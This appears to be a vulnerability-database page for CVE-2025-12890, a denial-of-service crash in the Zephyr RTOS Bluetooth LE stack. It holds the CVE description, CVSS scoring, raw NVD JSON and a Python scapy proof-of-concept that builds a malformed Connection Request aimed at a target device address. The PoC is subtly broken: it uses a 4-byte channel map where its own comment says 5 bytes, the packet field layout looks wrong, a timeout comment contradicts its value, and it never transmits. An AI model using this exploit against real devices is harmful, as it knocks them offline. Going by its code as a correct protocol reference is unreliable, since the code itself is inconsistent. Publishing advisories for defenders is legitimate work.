Security Vulnerability Report
中文
CVE-2025-12890 CVSS 6.5 MEDIUM

CVE-2025-12890

Published: 2025-11-07 19:15:46
Last Modified: 2026-04-15 00:35:42

Description

Improper handling of malformed Connection Request with the interval set to be 1 (which supposed to be illegal) and the chM 0x7CFFFFFFFF triggers a crash. The peripheral will not be connectable after it.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Zephyr RTOS BLE Stack versions with CVE-2025-12890
Affected branches: main, v3.x, v2.x (specific versions depend on vendor patches)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-12890 PoC - Zephyr BLE Stack DoS # This PoC demonstrates sending a malformed BLE connection request # that triggers a crash in Zephyr RTOS BLE stack from scapy.all import BLE, BTLE, BTLE_RSP, BTLE_CONNECT_REQ import struct def create_malformed_connection_request(): """ Create a malformed BLE connection request with: - connInterval = 1 (illegal value, should be >= 6) - chM = 0x7CFFFFFFFF (invalid channel map) """ # Access address for advertising channel access_address = 0x8E89BED6 # CRC init value crc_init = 0x555555 # Channel map with invalid value ch_map = b'\xFF\xFF\xFF\x7C' # chM = 0x7CFFFFFFFF # Hop increment and clock accuracy hop = 5 sca = 0 # Sleep clock accuracy # Connection interval = 1 (ILLEGAL - should be >= 6) conn_interval = 1 conn_interval_us = conn_interval * 1250 # 1.25 ms per unit # Slave latency slave_latency = 0 # Supervision timeout supervision_timeout = 500 # 5000 ms (max) # Generate connection request packet # Format: InitA(6) | AdvA(6) | LLData(22) # LLData: chM(5) | hopIncrement(1) | SCA(1) | connInterval(2) | # slaveLatency(2) | supervisionTimeout(2) | CRCInit(3) ll_data = ch_map + struct.pack('B', (hop & 0x1F) | ((sca & 0x07) << 5)) ll_data += struct.pack('<H', conn_interval) ll_data += struct.pack('<H', slave_latency) ll_data += struct.pack('<H', supervision_timeout) ll_data += struct.pack('<I', crc_init)[:3] return ll_data def send_malformed_request(target_bdaddr, attacker_bdaddr='00:11:22:33:44:55'): """ Send the malformed connection request to target device """ ll_data = create_malformed_connection_request() # Create BTLE CONNECT_IND packet packet = BTLE_CONNECT_REQ() packet.InitA = attacker_bdaddr.replace(':', '') packet.ResA = '000000000000' packet.LLData = ll_data print(f"[*] Sending malformed connection request to {target_bdaddr}") print(f"[*] connInterval: 1 (illegal)") print(f"[*] chM: 0x7CFFFFFFFF (invalid)") # Note: Actual transmission requires proper BLE interface setup # This is a conceptual PoC for analysis purposes return packet if __name__ == "__main__": print("CVE-2025-12890 PoC - Zephyr BLE Stack DoS") print("Target: Zephyr RTOS BLE implementation") print("Effect: Device crash and loss of connectivity") # Example usage target = "AA:BB:CC:DD:EE:FF" pkt = send_malformed_request(target) print("\n[!] PoC generated - requires BLE interface for transmission")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12890", "sourceIdentifier": "[email protected]", "published": "2025-11-07T19:15:46.343", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper handling of malformed Connection Request with the interval set to be 1 (which supposed to be illegal) and the chM 0x7CFFFFFFFF triggers a crash. The peripheral will not be connectable after it."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-703"}]}], "references": [{"url": "https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-8hrf-pfww-83v9", "source": "[email protected]"}]}}